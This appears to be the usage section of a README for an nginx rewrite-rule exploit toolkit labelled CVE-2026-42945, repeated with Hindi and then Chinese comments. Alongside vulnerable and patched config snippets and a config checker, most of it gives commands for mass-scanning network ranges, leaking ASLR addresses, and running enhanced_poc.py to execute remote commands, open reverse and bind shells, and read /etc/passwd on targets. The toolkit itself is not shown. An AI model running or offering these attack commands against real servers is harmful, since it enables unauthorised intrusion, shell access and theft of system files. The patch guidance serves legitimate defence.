server {
    # भेद्य: अनाम कैप्चर ($1) + प्रतिस्थापन में '?'
    location /api/ {
        rewrite ^/api/(.*)$ /v1/$1?version=2 last;
    }
}

server {
    # सुरक्षित: नामित कैप्चर (?P<path>) $1 को बदलता है
    location /api/ {
        rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
    }
}

# संस्करण का पता लगाएं और भेद्यता का परीक्षण करें
python nginx_rift_poc.py -t target.example.com

# कस्टम पेलोड के साथ परीक्षण
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"

# HTTPS लक्ष्य
python nginx_rift_poc.py -t target.example.com --ssl -p 443

# भेद्य परीक्षण कॉन्फ़िगरेशन उत्पन्न करें
python nginx_rift_poc.py --gen-vuln-config > vuln.conf

# सुरक्षित (पैच किया गया) कॉन्फ़िगरेशन उत्पन्न करें
python nginx_rift_poc.py --gen-safe-config > safe.conf

# लक्ष्य फ़ाइल से स्कैन करें (प्रारूप: प्रति पंक्ति host:port)
python nginx_rift_scanner.py -f targets.txt -o results.json

# एकल लक्ष्य स्कैन करें
python nginx_rift_scanner.py -t example.com -p 443 --ssl

# नेटवर्क रेंज स्कैन करें
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080

# हाई-स्पीड स्कैन
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json

# टिप्पणियाँ # से शुरू होती हैं
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080

# एकल फ़ाइल स्कैन करें
python config_checker.py /etc/nginx/nginx.conf

# डायरेक्टरी को पुनरावर्ती रूप से स्कैन करें
python config_checker.py -d /etc/nginx/conf.d/

# भेद्य पैटर्न को ऑटो-फिक्स करें (.bak बैकअप बनाता है)
python config_checker.py --fix /etc/nginx/nginx.conf

# सामान्य Nginx पथों का स्वचालित पता लगाएं
python config_checker.py

# पैटर्न और संस्करण का स्वचालित पता लगाएं
python enhanced_poc.py -t target.example.com --detect

# कमांड निष्पादित करें (ASLR बंद)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"

# रिवर्स शेल
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444

# बाइंड शेल
python enhanced_poc.py -t target.example.com --bind --listen-port 5555

# रिमोट फ़ाइल पढ़ें
python enhanced_poc.py -t target.example.com --read /etc/passwd

# कस्टम हीप बेस (ASLR-बंद लक्ष्यों के लिए)
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000

# ओवरफ्लो ट्रिगर के रूप में & का उपयोग करें
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"

# एकल लक्ष्य स्कैन करें
python aslr_leak_detector.py -t target.example.com

# SSL के साथ स्कैन करें
python aslr_leak_detector.py -t target.example.com -p 443 --ssl

# फ़ाइल से स्कैन करें, रिपोर्ट सहेजें
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json

# नेटवर्क रेंज स्कैन करें
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443

# त्वरित स्कैन मोड
python aslr_leak_detector.py -t target.example.com --quick

# चरण 1: लीक का पता लगाएं
python aslr_leak_detector.py -t target.example.com -o leak.json

# चरण 2: शोषण के लिए लीक किए गए पतों का उपयोग करें
python enhanced_poc.py -t target.example.com \
  --heap-base 0x555555559000 \
  --libc-base 0x7ffff77ba000 \
  --cmd "id"

# टूलकिट क्लोन या डाउनलोड करें
git clone <repository-url>
cd CVE-2026-42945

# Python संस्करण सत्यापित करें (3.7+ अनुशंसित)
python3 --version

# कोई भी उपकरण चलाएं
python3 nginx_rift_poc.py --help

# पहले (भेद्य)
rewrite ^/api/(.*)$ /v1/$1?version=2 last;

# बाद में (सुरक्षित)
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;

server {
    # 有漏洞：未命名捕获 $1 + 替换字符串中的 ?
    location /api/ {
        rewrite ^/api/(.*)$ /v1/$1?version=2 last;
    }
}

server {
    # 安全：使用命名捕获 (?P<name>) 替代 $1
    location /api/ {
        rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
    }
}

# 检测版本并测试漏洞
python nginx_rift_poc.py -t target.example.com

# 使用自定义 Payload 测试
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"

# HTTPS 目标
python nginx_rift_poc.py -t target.example.com --ssl -p 443

# 生成脆弱测试配置
python nginx_rift_poc.py --gen-vuln-config > vuln.conf

# 生成安全（已修复）配置
python nginx_rift_poc.py --gen-safe-config > safe.conf

# 从目标文件扫描（格式：每行 host:port）
python nginx_rift_scanner.py -f targets.txt -o results.json

# 扫描单个目标
python nginx_rift_scanner.py -t example.com -p 443 --ssl

# 扫描整个网段
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080

# 高速扫描（100线程）
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json

# 井号开头的行为注释
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080

# 扫描单个文件
python config_checker.py /etc/nginx/nginx.conf

# 递归扫描目录
python config_checker.py -d /etc/nginx/conf.d/

# 自动修复脆弱配置（自动备份原文件）
python config_checker.py --fix /etc/nginx/nginx.conf

# 自动探测常见 Nginx 配置路径
python config_checker.py

# 自动探测配置模式和版本
python enhanced_poc.py -t target.example.com --detect

# 执行命令（ASLR 关闭环境）
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"

# 反弹 Shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444

# 绑定 Shell（在目标上监听）
python enhanced_poc.py -t target.example.com --bind --listen-port 5555

# 读取远程文件
python enhanced_poc.py -t target.example.com --read /etc/passwd

# 自定义堆基址
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000

# 使用 & 作为溢出触发字符
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"

# 扫描单个目标
python aslr_leak_detector.py -t target.example.com

# SSL 扫描
python aslr_leak_detector.py -t target.example.com -p 443 --ssl

# 从文件批量扫描并保存报告
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json

# 扫描网段
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443

# 快速扫描
python aslr_leak_detector.py -t target.example.com --quick

# 步骤 1：检测信息泄露
python aslr_leak_detector.py -t target.example.com -o leak.json

# 步骤 2：使用泄露的地址进行利用
python enhanced_poc.py -t target.example.com \
  --heap-base 0x555555559000 \
  --libc-base 0x7ffff77ba000 \
  --cmd "id"

# 克隆或下载工具包
git clone <repository-url>
cd CVE-2026-42945

# 验证 Python 版本（推荐 3.7+）
python3 --version

# 查看工具帮助
python3 nginx_rift_poc.py --help

# 修改前（有漏洞）
rewrite ^/api/(.*)$ /v1/$1?version=2 last;

# 修改后（安全）
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;